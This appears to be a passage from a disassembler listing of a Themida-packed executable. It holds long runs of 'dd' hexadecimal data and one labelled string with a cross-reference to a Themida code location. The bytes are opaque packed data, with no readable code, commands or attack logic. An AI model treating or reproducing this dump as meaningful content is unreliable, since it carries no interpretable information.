		dd 81DC4FFFh, 486910h, 66A9BEh,	0FE208510h, 41A80280h
		dd 0C8292100h, 0A2705096h, 3CFB07DEh, 0E2BF64ABh, 4FC1F1C3h
		dd 0A4003B40h, 0A15F091Ch, 9278A3h, 0EF641A26h,	0D09024F0h
		dd 0C1457B03h, 0F1C9FC3Fh, 0AFE046ACh, 0A6910521h, 7FC231h
		dd 0F1A2DBC8h, 0D7F8CE7Ch, 0AD00EC94h, 1911357Eh, 0EFEAE9h
		dd 0E79D5D0Fh, 6750A4F2h, 54059900h, 910D1A42h,	0A96F1E36h
		dd 0B4B50059h, 0E1BFFF65h, 7C6958h, 552F350Ch, 279B2DFh
		dd 6E08DD91h, 8CE0884Fh, 2530075Ch, 356988B0h, 24D600FAh
		dd 825649CEh, 0E21C8F64h, 30FB3130h, 70092902h,	0FD70173h
		dd 0C5E1BECFh, 0F9C38D2h, 4181B5E7h, 11ABB6CAh,	0B82D4CE8h
		dd 1CE0969h, 0A8582577h, 49BC3B04h, 78A8ED47h, 0F7BB1401h
		dd 0C896E8BAh, 416932B0h, 0CB9F8050h, 3E79A0h, 0CD1D21BEh
		dd 0C95B62D5h, 35BFE501h, 3A2CB35Dh, 42125980h,	8F62DB6Eh
		dd 50C24Ch, 5F7E3F76h, 228A990h, 0D56CA161h, 245691A2h
		dd 0E8003797h, 9C668FE9h, 0B1023E57h, 5F6C5600h, 0F57B9BA4h
		dd 0E326BD12h, 7C9F6900h, 1A7F04h, 0E3CDFF8h, 0F5B4DE19h
		dd 9C14D72Eh, 0E6AD4300h, 98515B3Bh, 5F0D0055h,	0A0627C33h
		dd 0F60024E0h, 394E97CDh, 0E3F270Ch, 14235834h,	0B54967E0h
		dd 400F0F1h, 0E66005BCh, 4852C217h, 3000587Eh, 4E0F22E8h
		dd 0CC3A51A6h, 0EB3B770Dh, 0B2F0002Ah, 6F9BC50Ah, 91F23Dh
		dd 63E038DAh, 2DE50DD4h, 44E64E09h, 938F83Fh, 4C8AD8D7h
		dd 17001C78h, 89DFF62Ch, 0E468C59Eh, 0A12D0EBEh, 920564Dh
		dd 0FB8E61B2h, 741FC201h, 0EFC63075h, 0DD0330h,	62E32753h
		dd 0D6D2D4ACh, 0DF0254B0h, 0C9414466h, 0AAE9C33Dh, 856640B3h
		dd 1F6512A4h, 0CB001D73h, 80E936EBh, 0F458A879h, 0C6B0E600h
		dd 0CC4CB2F8h, 1DFCF445h, 8C892B3Ch, 11287A1Bh,	60BA5700h
		dd 7B17B6D8h, 2DC107B4h, 0E0E91013h, 844DF067h,	0B87F1D00h
		dd 6A69D30h, 1EE5044Ah,	809AD18Eh, 0A01A4520h, 36CD8500h
		dd 58AE24D3h, 3EF8EE53h, 3D00DD8Fh, 3768A33Ah, 7972A13h
		dd 7F309BF4h, 3942C3h, 8A22E9DBh, 77AF6CB6h, 800083FCh
		dd 0CDD7EBBCh, 707FB6Bh, 0EA094ABFh, 0B7A8905Dh, 0F40196CBh
		dd 79BD9784h, 0F1E8DAB0h, 716F0074h, 14EB35BAh,	0A1005A40h
		dd 0CCC8AF67h, 0B46A627h, 0BA20193Fh, 0C6B19900h, 0B0008441h
		dd 1A7E110h, 183252FEh,	41C02898h, 1CB07134h, 0ABB36701h
		dd 39B080E8h, 11CF6880h, 0CB4EEF72h, 30F8E700h,	0B3070AD5h
		dd 7320E370h, 0F5281681h, 0F82300E6h, 0CC14B15Eh, 3C31B500h
		dd 20781B24h, 2E7CD9h, 0D5007F6h, 0BC2B0FE4h, 86F23Dh
		dd 0E8653280h, 1E84ECC2h, 0C0EA2DCBh, 5494EBF7h, 0DF26B0E1h
		dd 0DE00247Bh, 0AACA26C2h, 0C87D2AADh, 386303D4h, 0D0E76EFFh
		dd 0A3DC2100h, 0F9B8CE83h, 3F5800C6h, 0EA5703F0h, 4409FA2Dh
		dd 7874A3B0h, 73ED0088h, 0CA2AA156h, 0A7001522h, 894E4F6Bh
		dd 0BBB10Dh, 0DF9FD608h, 0B79BBACCh, 80248E27h,	80BCE5B4h
		dd 0B23F062h, 20728B3Fh, 0ED221E00h, 0B7003A57h, 59A8F361h
		dd 1D5C2CEFh, 0A609762h, 0A61B7Fh, 5D729082h, 0F70096E4h
		dd 20DF5F70h, 0E0AC59B7h, 4D150381h, 6D74B455h,	1885BAF0h
		dd 4699D104h, 78D04443h, 7F6FF3C1h, 8D48022Ch, 0F916FC13h
		dd 0DB848060h, 49243500h, 8CC661DFh, 9F4100B9h,	7FA44499h
		dd 5F1EE072h, 0B8C0E61Eh, 8C08580Ah, 237800D5h,	3FB6C9A3h
		dd 7100680Dh, 2635D15Fh, 0C049A0h, 27E09BADh, 690E0189h
		dd 1B3E0900h, 0A50810FEh
		dd 0A36503AAh, 0F4CEEE3Ah, 0A680A2C0h, 60127F00h, 23E6AB4Ch
		dd 0EB3400BAh, 0E9A5E0Ah, 30007442h, 25AF8BCh, 540F4F6h
		dd 0F357A20Dh, 2C02C0ADh, 103FA073h, 9AC28050h,	1C39AED8h
		dd 0F7B23DD1h, 0C585D780h, 90C6AA9Dh, 0BC186FE9h, 8381E4h
		dd 108ED31h, 0DC6C84ADh, 0E1124807h, 6681D263h,	42023DAh
		dd 10D00064h, 71FC85BBh, 671E083Ch, 0F20186E9h,	0F0E65163h
		dd 2684EA6h, 88B1621Bh,	8D03C0CCh, 829E0386h, 3A100EB9h
		dd 1A205C94h, 30A82F5Ah, 87162D98h, 341CD1E1h, 761C2180h
		dd 39B972B1h, 3B9358E7h, 86370059h, 0F11F3CEDh,	888B3Fh
		dd 5C5BA333h, 0BADDEFh,	0AD0E81ACh, 962966FDh, 943C7375h
		dd 187613D1h, 8B78F0h, 0FA9FD2B6h, 0D91D606Fh, 0BDE00909h
		dd 0E9582074h, 3CD8F8FDh, 5280AF93h, 32B8691Bh,	0E0B82617h
		dd 9101657Dh, 0A9DBBA9Eh, 55F89D01h, 4CC7488Eh,	0DFD60A00h
		dd 9F6354B8h, 8A4C3Bh, 0DCD58B48h, 6032A1F7h, 1B5028C9h
		dd 0F2031C25h, 0EE24B19Bh, 830182A7h, 0D8BED280h, 260EA66Ah
		dd 80F0ED51h, 0E21D33EEh, 4500FBB6h, 0FAC1E98Eh, 0FC21840Fh
		dd 0B7CF00C2h, 0F9E8AF82h, 444F55DAh, 5810A40Ch, 11226078h
		dd 529BB92Eh, 6976330Fh, 0CBB206AFh, 64A60078h,	26D36AA2h
		dd 79073F93h, 57301AE3h, 75D0EC57h, 0C46A471h, 8F047308h
		dd 540040C8h, 0CDB22C91h, 1D28A80Ah, 306DD653h,	0F7B5D70Ah
		dd 59797D01h, 8224615Bh, 58808AD0h, 39004A4Bh, 0F1BD8698h
		dd 6D001E51h, 0C4BE9AE2h, 0E47D3E4Dh, 0D7E70E59h, 0C03C7343h
		dd 1D629FBh, 6B5CB204h,	0DFA300CFh, 37EA035Dh, 7CF00011h
		dd 0E6F7C7BDh, 303DAE8Eh, 42DE8EDAh, 7AB84B32h,	7638005Ch
		dd 565CDCD9h, 88094793h, 83CBDAE4h, 0E02D63C1h,	180FEFFh
		dd 0F72B5584h, 6029D92Eh, 0A100D48Ch, 0FF344CE3h, 5F02297h
		dd 0C21A1E6Dh, 0F9FC00D3h, 86BA0527h, 2558900h,	9660A574h
		dd 0DAAF00CAh, 3CD3980Ch, 172561D5h, 69F400E0h,	486E7Dh
		dd 0C9FC2A0Dh, 4271A480h, 8D890B00h, 6F33079Ch,	0F1640011h
		dd 47E296DDh, 6A1C3AC8h, 7F044FBFh, 58E86C3Fh, 1ECA8201h
		dd 0FA78F02Dh, 225DE4E8h, 2B75AD18h, 0B0CB1711h, 3D17B025h
		dd 8000ED82h, 0A28DF41Dh, 0F50EAB6Fh, 0C0738818h, 4387B3C5h
		dd 34AD02C2h, 59A44E15h, 397683E0h, 4072022Fh, 6FC3BCh
		dd 0A967B843h, 17CA3486h, 6D7EC000h, 0F8E115F3h, 4C540E0Ch
		dd 82000257h, 396BEA8Dh, 0FD86F501h, 43608EDDh,	5F0006Eh
		dd 5E81A296h, 0D8B80470h, 72C8EE11h, 0B59CFC00h, 6858853Bh
		dd 0D870ED00h, 0E08097BEh, 828C0006h, 0A3E15FFAh, 0D2025377h
		dd 3ABC4BFCh, 107C66h, 28990A73h, 1F29BF6h, 0D7097D70h
		dd 0D156458Ch, 89696070h, 4A015459h, 0CDE2B89Dh, 0E0D0F392h
		dd 8D14032Ah, 969FB623h, 796611B0h, 61CB1C00h, 19EFDA55h
		dd 2874008Fh, 0B69F16B5h, 2FE76454h, 4BA82C00h,	3C9AF256h
		dd 551430C2h, 520AD12Fh, 82D471C7h, 57E608FFh, 0CC126091h
		dd 4E0003B6h, 3E5D4077h, 1719F90Eh, 411755F7h, 6D78BEACh
		dd 2458F24Ch, 0F12C380Eh, 7A3CC015h, 135FFC0h, 0E0A4EA1Ah
		dd 104156E1h, 7B96190Fh, 0AB2C1794h, 5AD8814Ch,	0CF9440F2h
		dd 0D82F56FCh, 0C48880A7h, 8431E2h, 7D2623B5h, 0D09FE7F0h
		dd 5A3E5200h, 0F5753FE6h, 0B5DE016h, 0B06B07D4h, 0B50C0C03h
		dd 0FDA29788h, 807CA1DCh, 3EEBBA80h, 4F71C3Bh, 0EA55DFEEh
		dd 796CE803h, 0BC28B800h, 36D4844Fh, 70F90015h,	0D96830FFh
		dd 239F8C94h, 0C01089F0h, 86122Ch, 9F25E3C4h, 4EA1DF5h
		dd 64244CBAh, 76007015h, 0E123F4DFh, 0E581C0B6h, 0F81F3544h
		dd 76AB5B0Ah, 80738440h, 601385BCh, 82B619A7h, 95005D3Ch
		dd 42F8C643h, 3B9FBCh, 0A1E3669h, 85E2303Dh, 0AB2CD17Ah
		dd 90091C5Bh, 0E7EC00CFh, 2264D6h, 7319F4B8h, 80E53FE2h
		dd 8F613E28h, 1391303Fh, 9D16D4B0h, 99A77300h, 0A90139h
		dd 2CED7C4Fh, 31D882C7h, 467AFA00h, 6D5041CFh, 97C5002Fh
		dd 4069E011h, 0B517EB68h, 960EA964h, 8FBF43F0h,	0A111132Ah
		dd 40C81F36h, 32C2F320h, 86386B0Ch, 903F0093h, 4E92AB57h
		dd 141B055Ch, 8401FDB8h, 40388019h, 0D515ADD4h,	2DB0F673h
		dd 3DD8C580h, 0BCE0B8A7h, 751C3860h, 0CA96CD3Ah, 0CA02010h
		dd 4172CCAEh, 0D8A19DAFh, 6060D4B1h, 0CA00404Ch, 2FF1F4A7h
		dd 0EA2109E2h, 136EE85h, 0A59A05C4h, 7016429Fh,	26973FB8h
		dd 1C44D228h, 808AC5E8h, 0E23A9925h, 9005A36h, 3867634Ch
		dd 315835h, 2056A21Eh, 0AAF08589h, 0F69EFF3Ah, 5D003DB8h
		dd 5F7A02BDh, 0B5BA45h,	91501A8Ah, 0E38B95DAh, 81B8411Eh
		dd 0AC980FC0h, 55376Ah,	83238D4h, 0A156B77Bh, 749A48h
		dd 1E62525Bh, 5B46E3A9h, 0D24C08Ch, 2D9072BAh, 5D0E0900h
		dd 2F161FD3h, 60701E4h,	0D67A90BCh, 68E0EC42h, 0D4E7C578h
		dd 0EA3F5395h, 0B84482FEh, 0F61B4CF2h, 0BD6B60D4h, 0D300114Bh
		dd 0AFE7CEA6h, 282BBB79h, 2EFC9A06h, 395A44FBh,	0A59B0587h
		dd 1F1980A1h, 0BD03C41Eh, 0C7062FACh, 8CEC98CDh, 527400B0h
		dd 9F45FC08h, 8804850Fh, 0BC3659B6h, 407068D2h,	49F8DE6Ch
		dd 77C8C99h, 0F46D82A3h, 3C803BE6h, 0CE34E572h,	0B160C702h
		dd 0D6832F43h, 0A05280D4h, 0DED5854Eh, 51235F0h, 0DCA0547Eh
		dd 0A1B95C70h, 0A5230B03h, 86C0D7FAh, 0DE0352A6h, 0AE3B6AAFh
		dd 53E80071h, 0DD2D3EA3h, 0F60C1343h, 9197FC61h, 0BCD700C9h
		dd 0D41A06DEh, 0A471CD46h, 0B8EB2000h, 33E9DFBh, 4C73004Ah
		dd 60EED014h, 0D8008434h, 3F08E6E1h, 52B74FAh, 72B02FDCh
		dd 0C378802Dh, 7600BEF6h, 65FAAF95h, 620F93h, 5EEF19E1h
		dd 81316420h, 40C5FB00h, 85A46AA3h, 2471DCh, 74396CA0h
		dd 26B5065Ah, 56369F03h, 0F7F77F9Dh, 0AC5C2960h, 931E3F33h
		dd 2000804Fh, 0C0267FB5h, 0F0C94C7Ah, 5CEF59B4h, 1D48F52Eh
		dd 1263531Dh, 0D7DC0098h, 0DBB2500Bh, 0D87FA2B8h, 74F0B67Ch
		dd 36006CB1h, 39F796FCh, 749C4C90h, 3043F416h, 0E76FAD5Ch
		dd 314D058h, 8DA3DC5Eh,	411EE11h, 211835C2h, 52E8D1EBh
		dd 3C61A6B5h, 0DFD83F00h, 14A82E0h, 5748AD6Dh, 6BF6696Eh
		dd 469AD401h, 72C27CC5h, 0FDFA0E18h, 0EFC01CDFh, 3ABD9DAh
		dd 0B34BE49h, 85BB9D01h, 804098B4h, 6150AED8h, 0E4648005h
		dd 69AD8A00h, 5F430753h, 3F233825h, 7E400C74h, 0BF287431h
		dd 940D452Eh, 0CCC1851Fh, 439F88F7h, 51ECB761h,	249300D5h
		dd 5E6AA866h, 0C72C8A83h, 0C46268ABh, 0A758693Fh, 18C6B880h
		dd 30E5F9EEh, 0B7CFF8FFh, 304A044Ch, 21C720C8h,	0E3FC0BEDh
		dd 0B8204B6Ch, 3EC11719h, 986D0126h, 51F21880h,	1456503h
		dd 0A0E45442h, 0D4D1A330h, 19008926h, 24C27DDh,	786FB1h
		dd 28538C92h, 0ECCACC68h, 9083FF2Ch, 1449149h, 0AA0F6E0h
		dd 0B88A5845h, 9EB48BA4h, 563B6880h, 0BA00DC07h, 0BD9CBCCAh
		dd 159D0A3h, 422B2CA9h,	4076E2C5h, 0AFE0B4B4h, 6D1EAC00h
		dd 4D85BA9Ah, 0C0A2492Ch, 99DA1F00h, 453681A7h,	0CF7CEA00h
		dd 5AB767C2h, 928B2C59h, 9FB49080h, 20A01D13h, 1CA412B3h
		dd 0B8ACD7h, 60DF859Ch,	418E7AAh, 796FF690h, 4274C082h
		dd 1248DA8Fh, 815C3824h, 8A156EBFh, 1560A905h, 279200C8h
		dd 0D880FB62h, 3C0184D3h, 0E1BEDD2Bh, 0A4241370h, 0F12D0F02h
		dd 7E41C929h, 38EF35BCh
		dd 84853F54h, 1F17E924h, 0ED2404BBh, 1C6CCF9Ch,	39EFDBBh
		dd 0E092CE0Ah, 4143C681h, 986C86ABh, 80779A1Eh,	97C4685Dh
		dd 0CF007273h, 1CC3FEB1h, 3455096h, 60B33E53h, 80DCFC8Bh
		dd 4DBE9C34h, 0F901A4ECh, 43A737BCh, 0B828A66Eh, 484981DDh
		dd 40F6F1B8h, 58B232B8h, 0F42B0E00h, 7CA28ED3h,	0EC431649h
		dd 73440A5Bh, 0A01D0A95h, 0D0171780h, 350B9F94h, 3718F27Dh
		dd 2A6876BCh, 30C107C5h, 0E0DA63A2h, 8099B32Fh,	0CA36CC00h
		dd 0ACDC4C06h, 64C34C19h, 26A9E202h, 0D0818DBAh, 2AB7296Eh
		dd 0D618D8h, 6355A3B5h,	0B779990Fh, 4C04FB5Eh, 71496A21h
		dd 3F42A454h, 4B8B03DEh, 73ACAAD0h, 0C00014EEh,	5C846D9Ch
		dd 50F52B24h, 0D8F85Eh,	6164E402h, 0EBC74CBCh, 0D204A716h
		dd 76ADF100h, 356BF5h, 404D11F4h, 0CEC77C5Dh, 386B819h
		dd 14308BD8h, 80C04A27h, 0B20A18D4h, 7DEC1E00h,	0D967ADDEh
		dd 2F300C6h, 2A6D4D5Eh,	0A013568Ch, 2400AE54h, 11D8BB78h
		dd 940800F4h, 64670215h, 0E6E07986h, 0B09D5Ch, 0F8BAEDD7h
		dd 0FC59CEh, 90476ED0h,	952527D9h, 7534571Ch, 46019D6h
		dd 128C57Eh, 0AD11CE0Eh, 0CCB4687Ch, 3117F6B7h,	28A0FE2Ch
		dd 81C600D4h, 0FBCD9B01h, 7200C8EFh, 32655777h,	12C0484h
		dd 0C0D3CE7Dh, 347BDD2Fh, 0F912093Ch, 684B319Eh, 0A3A8804Dh
		dd 1CBEA439h, 8125564Fh, 0FAF8073Bh, 52DC74AEh,	0C350900Eh
		dd 9498142h, 0E0350176h, 2E043220h, 0B80CD9h, 101755E6h
		dd 7558AADDh, 0D49D0098h, 42523FE7h, 685F005Bh,	3822CE19h
		dd 850025F1h, 147176E0h, 7D031C8h, 0FCAF0E5h, 48E05BE6h
		dd 4E048E5Eh, 67C4BDE8h, 654C1890h, 0AA3700C0h,	1095D6Fh
		dd 0EA0A95A2h, 3CFF31A6h, 799C1825h, 58CF4D07h,	7800E848h
		dd 3FF0C3BEh, 0AF3067AEh, 4F11E93Bh, 0F8F13942h, 87F42CCAh
		dd 29FCF24Dh, 734234D5h, 0F09E6119h, 0D4D7E0EAh, 5CAF25BEh
		dd 0CC0994A9h, 0D985ACB0h, 7903A7EEh, 7E8AB00Fh, 89612F14h
		dd 0C091E104h, 4F500AE4h, 4033A8C8h, 400C2617h,	0D1462F04h
		dd 0B20279EEh, 0A8C0BD4Eh, 21FAB81h, 9C0307Dh, 3AE5DD5Fh
		dd 62280456h, 0A8FB5E54h, 86890118h, 3F6BA263h,	0E047B052h
		dd 395BD61Ch, 2F01FAE6h, 4BABCC02h, 65E98060h, 88AA97FBh
		dd 2CA34901h, 6C32B101h, 382D1753h, 0AF850038h,	0F4898A70h
		dd 1FA30042h, 9A3BD2FBh, 0DD600C76h, 0ED868B39h, 0F10E1670h
		dd 4F1038B1h, 0C671152Fh, 0B87F1D4Ch, 60B2C0C8h, 0CA8730ABh
		dd 1477712Ch, 0E433ED80h, 0FA91F07h, 0BDD2A82Bh, 0E058E589h
		dd 410C737Eh, 102EAB0Fh, 35F80022h, 2F0EA665h, 9C556CBFh
		dd 49C34784h, 0A0100025h, 7D5D24B4h, 48722D74h,	114F96Ch
		dd 1030A823h, 68111845h, 0E0403A8h, 8001078Ch, 3D494A38h
		dd 2816BABh, 938EE16Fh,	96E9F00Dh, 0BFB2C500h, 7DBA23CCh
		dd 24313081h, 2D51C050h, 0B8415501h, 5836138Ch,	2834003Eh
		dd 1AF79542h, 11D25FAh,	0C003804Fh, 98478777h, 0E10CFB1h
		dd 0E64133C1h, 6E5CBF60h, 7600FA32h, 0B20BA6AAh, 0CE92BDEh
		dd 9365758Ch, 320BF564h, 702EADh, 5914730h, 6C8425B2h
		dd 8C278470h, 0DDB880C2h, 7D13Bh, 33D4A335h, 8AA0D89Ah
		dd 3AFFEF75h, 2E593480h, 886C00A6h, 1F5405Eh, 6903A2DFh
		dd 0C43777Dh, 97DCD029h, 0F8A112F4h, 100CB083h,	1472A600h
		dd 94DBEB6Eh, 0C444011Eh, 0E7C33361h, 0EEF84067h, 294E4A3Ch
		dd 64AF40C0h, 68CA49EDh, 6A9A9600h, 97CB1B4Fh, 0FCE46916h
		dd 0BA30F040h, 3DF83B80h, 0AC00D377h, 940E6662h, 0FA2CCA74h
		dd 69004C9Ah, 0A5047E92h, 250D66Ah, 0FBF15F50h,	318D0441h
		dd 2401C180h, 589CF4D4h, 0C18042h, 0EC4BC691h, 5F716F00h
		dd 135D8C78h, 0CDFF013Fh, 4827CFF3h, 85F04020h,	6301DDB1h
		dd 8F65EBE1h, 59905D06h, 9C738071h, 0B7E317B4h,	779E0400h
		dd 1C00935Ch, 0EF863637h, 1862A466h, 805F5E4Bh,	5377F012h
		dd 0C2C46C01h, 5B7B64Ah, 1874A0F8h, 9855DBFEh, 5913A6A9h
		dd 1613D6E7h, 41B10502h, 0A8644B3Dh, 4CBA185Dh,	0C20B46D2h
		dd 1B7ECBCCh, 0A05A550Eh, 0A969EE05h, 0BB5D0061h, 9BDBDC18h
		dd 7001822Bh, 0F26B9E26h, 0BC4079F6h, 33CA62Ah,	59A8F90Dh
		dd 0E098DC5Bh, 0A300BC3Bh, 0BD922770h, 0B62C7FF3h, 871F505Ch
		dd 9E60561Eh, 4317ABC0h, 3DA9AFCFh, 0CB13A0FBh,	1E480140h
		dd 22A598F1h, 0BDF3007Ch, 5F70FE91h, 0E91448F0h, 82A83F76h
		dd 5110E0CBh, 0D3C3284Ah, 97FCE85Eh, 0B8220014h, 0C6BE6A2Bh
		dd 2F003467h, 8DAAE481h, 1DFF1218h, 40B94B55h, 88E1A73Eh
		dd 7202808Ah, 0B576717Dh, 0DCF8E1F8h, 2108812Fh, 1D1F70E8h
		dd 0E03DF0F4h, 8C2400A8h, 51DAB10Ah, 33CB005Ah,	22B52F66h
		dd 2002505h, 0C5CAFDADh, 951AEF2h, 0EB197D30h
aDaf		db '~D ”',0             ; DATA XREF: Themida_:loc_557F6Eo
		db 8Fh,	0F1h, 8Eh
		dd 0BDBBFBCBh, 1FE6B5h,	773B6CD8h, 0EA4D97Dh, 0A0BC730h
		dd 138C4C6Fh, 18B306h, 0A887C174h, 84023A6Ah, 29552FD1h
		dd 977CC84Ah, 14250779h, 10A45C05h, 6317B1Dh, 6D005279h
		dd 0FD27BA68h, 0A1A3C19Ch, 53E8DBC0h, 988000FBh, 0F843D360h
		dd 0E80E14E3h, 42A0D63Bh, 5784663Dh, 0DA5D3881h, 0CA8420B1h
		dd 0FE12C26h, 4065AE0Fh, 2D185F73h, 83C809E9h, 8789630h
		dd 0C9BE716h, 7A205700h, 0BCA0DFEFh, 3765017Ch,	3079E3C7h
		dd 402DFA04h, 2630E476h, 80D871E0h, 0AE83CB0Bh,	0FC9A3A23h
		dd 336AC600h, 0B0C1469Fh, 0D1C44C34h, 7D9DEE04h, 0DD94C06Eh
		dd 4F272357h, 0D3A8C0C6h, 547C0052h, 2AEF5F46h,	514E883Dh
		dd 7C9658B0h, 2DC300F9h, 0A74DC164h, 0BA2C5DC8h, 22009B4Ch
		dd 0B05FCAD0h, 196900EDh, 5084CDF0h, 3976748Fh,	0A3EA0816h
		dd 67F89090h, 12C730E2h, 60E395A8h, 13B894BFh, 1B53D29h
		dd 760FAB08h, 92B0C849h, 9A255D00h, 41D3B843h, 2E6780Ah
		dd 6B78D28Fh, 105E05CBh, 0C8E1803Bh, 9D1174B7h,	68D5006Ah
		dd 3BCD7C9Bh, 8079A46Ch, 4FAAA00Eh, 0B0BC923Ah,	838E3900h
		dd 20BAE84Ch, 3F61D51Eh, 1E944915h, 0BC8008ECh,	0D8C21477h
		dd 30613A3h, 916B046Dh,	745490F4h, 92A0A23Eh, 48542353h
		dd 9E250EDCh, 0F58582Ah, 0E724EAC9h, 6FD170C0h,	0F83F1B0Bh
		dd 0C46E848Bh, 0BE157Eh, 46CAB5F0h, 0A4788404h,	8E05D01h
		dd 0FCB20A06h, 33599F8h, 0AE21E976h, 18070532h,	495AE426h
		dd 6F4B6631h, 57604FEDh, 0EC4400EDh, 283C362Fh,	0A0280C0Bh
		dd 2500B45Bh, 0BF52AEBEh, 13F769Eh, 4CE6E773h, 3A8182CAh
		dd 4A192481h, 0A36BC240h, 97BD0065h, 5459A451h,	0E009A7CAh
		dd 7C9E31B4h, 0E7928024h, 9DD1156Ah, 0D462ED28h, 0BABD3B01h
		dd 0EE2EC8F7h, 4400C028h, 65A5259h, 0E1008AA1h,	0B9D55E8Fh
		dd 3F40477h, 2FCF9564h,	26C8F3EFh, 220646BBh, 9ECC355Bh
		dd 6DEA0D81h, 0CAA13C98h, 0CED31FC0h, 49C63D00h, 16452818h
		dd 1F2504C2h, 0AE8D679Eh, 0D4C96030h, 0A7810B01h, 0F700EE5Bh
		dd 3EE4D198h, 0AA2F7913h, 81021500h, 2B3F048h, 0C610689Dh
		dd 0FCC065F6h, 57102F49h, 17A097Ch, 0D470BA32h,	7AF9345Eh
		dd 799DD400h, 701047CBh, 9BD11EF5h, 970C89F8h, 1400487Ch
		dd 72086EA2h, 0A8D725B7h, 2F6DD060h, 7BDBCF12h,	38F21C00h
		dd 3F12C6Eh, 0B084CA14h, 2BE88870h, 0B62411ECh,	4B9298FDh
		dd 0CB637801h, 8420EE85h, 239EAF6h, 7551130Fh, 74C02A54h
		dd 2F00B88Dh, 0E63D0811h, 1D6679CAh, 430DACB1h,	67A7574Ch
		dd 98C038A2h, 0C00DBB7h, 309C4B07h, 946011BFh, 40210714h
		dd 0A848C254h, 0CDD40577h, 97D60E8h, 96089FD6h,	704FB0A1h
		dd 0E4B861FBh, 7B045311h, 0E1C5FF6Ah, 1684E9C0h, 20EF60A8h
		dd 85ED8DF1h, 34480860h, 62EF2E7h, 0B9C57ABCh, 4B0078FCh
		dd 407FEB72h, 13D90D7h,	91E56A31h, 7C093B98h, 40E1E754h
		dd 0D4D8E3B3h, 0BD60093Fh, 54F0BA5Bh, 0F315321Ch, 64303072h
		dd 59CC006Ch, 887626A9h, 0B0A01C24h, 211C5CACh,	184BC367h
		dd 8C7D8248h, 64D4E1h, 96C81B95h, 420001CDh, 9C07520Eh
		dd 146C1BEh, 1E4C7827h,	0E2FAE656h, 73008056h, 0E2144547h
		dd 0BB0E1D77h, 0B04EBCF7h, 7658AF70h, 63D16DFh,	757588B0h
		dd 170E12F2h, 0A9AC011Eh, 0EDDB3709h, 0E16BF8CAh, 0D022D730h
		dd 0E454B45Fh, 0FC2A00F0h, 0FEF23A4Ch, 0C49015A2h, 8010D607h
		dd 7E017581h, 55600408h, 2E50078h, 7D9CFCC4h, 794F9A0Dh
		dd 6BCD7090h, 0B6C000D5h, 80506E77h, 3740900Ah,	534300FCh
		dd 0EE31C614h, 0CFE4B69Eh, 86B748h, 0C9B8423Dh,	1CE45AFh
		dd 578E89C5h, 70D5E2F7h, 560025F8h, 0FB759107h,	6C73DBEh
		dd 7D23E8CFh, 6600E1C8h, 0D86CF93Bh, 25772DEh, 0D8B5845h
		dd 0D880996Bh, 0A7B86F03h, 10F4B39h, 65105BA8h,	34E4ABE7h
		dd 72F53063h, 57D8128h,	18F03002h, 64B81A13h, 4871226Ch
		dd 9363A12h, 137594B0h,	341E4Ah, 8BB052A8h, 0A600F83Eh
		dd 1B7E3561h, 8C88F2h, 0DE312CE7h, 293A79FCh, 0E2029718h
		dd 0EF389Eh, 0B2F761F9h, 0F528A967h, 0AC7DBC07h, 0CAF09574h
		dd 0A0C7E786h, 13208390h, 0C38CDEh, 66A8B1C5h, 6500C4DAh
		dd 0BA3D3145h, 0FABE9B48h, 85F7003Ah, 0C61EC81h, 10001419h
		dd 0E82A95D9h, 4BB2C8D7h, 6228808Dh, 77044B0Dh,	2159809h
		dd 126F34CCh, 0E8ABD6EAh, 0D51101ACh, 60AA440Dh, 0E5D0C03Bh
		dd 8FFAED31h, 5E81A300h, 3EB46517h, 6DCF011Bh, 854F695Fh
		dd 7C207E6Ah, 0B437FD0Ch, 7FE5C280h, 0FA002CD8h, 0FC94E106h
		dd 12D44E33h, 1A9121h, 0E44C73A1h, 0BE4DE393h, 6CF31F1Ch
		dd 0B5012780h, 1389978Ch, 0E6BAA0Dh, 1460B644h,	0BDA0C4CCh
		dd 6302B890h, 9F2CA792h, 0DD2C419Eh, 350F9879h,	0B58CC9F5h
		dd 0DA3DD528h, 1E98DC5Dh, 806530ADh, 0C366AC8Ch, 8E5B9Ah
		dd 0FE1F8264h, 395E3D89h, 4BFDD480h, 0C0B57012h, 0E0805611h
		dd 0FA06A2ACh, 1D478F65h, 30FD7370h, 9249AAC3h,	340B44ACh
		dd 40300C0Dh, 777118h, 0E918FF7Eh, 10A043B3h, 43B82E7Eh
		dd 0AB28D91Ch, 0A2390D46h, 2C9D1C68h, 3A4D03E1h, 0C09D48D1h
		dd 7F9835CDh, 1564F09h,	0F6C064CFh, 60C8069h, 0D030C8B0h
		dd 0B5E41066h, 1D75A0Bh, 3B3C4D8Ch, 50803E95h, 0F62E30FEh
		dd 46B42678h, 24DE26ECh, 887480ECh, 0E461C0CFh,	8069DA25h
		dd 0BE90234Ch, 4A53188Ch, 2BDE6068h, 90E0A327h,	0B0523308h
		dd 370A0758h, 0C0D60B2Dh, 60AD63B0h, 1E7AF700h,	0A70616EDh
		dd 0A09E09D7h, 70F4CC91h, 4CBA4401h, 4080A965h,	0B186F079h
		dd 0EE00F46Bh, 0AD22566h, 5FA8B5Eh, 0DBAA2311h,	9970C0EFh
		dd 0CB004D09h, 29F193EDh, 9065BCh, 0BA08F8F0h, 7E721C0Ch
		dd 0D8193E27h, 7A880014h, 5367C2EDh, 380063A1h,	0D0EB183Dh
		dd 13F839Dh, 92795F91h,	64DAB8E2h, 0C412ABECh, 30E85616h
		dd 436400BAh, 6DFDACD6h, 90491308h, 4818BAB6h, 0E1CE8A71h
		dd 0D828802Eh, 0C2B79052h, 0C110241Ch, 251BB908h, 0E641EF28h
		dd 912E4354h, 6BEE2C3Ch, 0F86B0490h, 6E610048h,	395A4910h
		dd 0C400F77Ah, 886315CEh, 330D4A1h, 0DABDF4C2h,	3ADB5B3Dh
		dd 0FE21807h, 7AC7E9DCh, 0E0DF0357h, 0B5DAC890h, 0E6DD0171h
		dd 0D7BE0774h, 0E0FB7058h, 0EA492701h, 0EE3B52CFh, 166881ACh
		dd 85EB010Ah, 8070629Fh, 216E5488h, 0C0EA442Dh,	0A8415729h
		dd 0E00E0F86h, 80EF9210h, 0BDB59056h, 2780A4E6h, 2C719588h
		dd 250F9810h, 3B00948Dh, 0A4CA34DCh, 0AB4C4897h, 4FCB07E8h
		dd 10F25427h, 2F5802FBh, 8C968000h, 0A4AF42C1h,	0F3B763Dh
		dd 61333188h, 0B7767A20h, 0DF0E1D1Fh, 0E0CE14A8h, 46EC89BCh
		dd 90D407C9h, 0AA390EFBh, 15100CCh, 6F137107h, 0DB04A405h
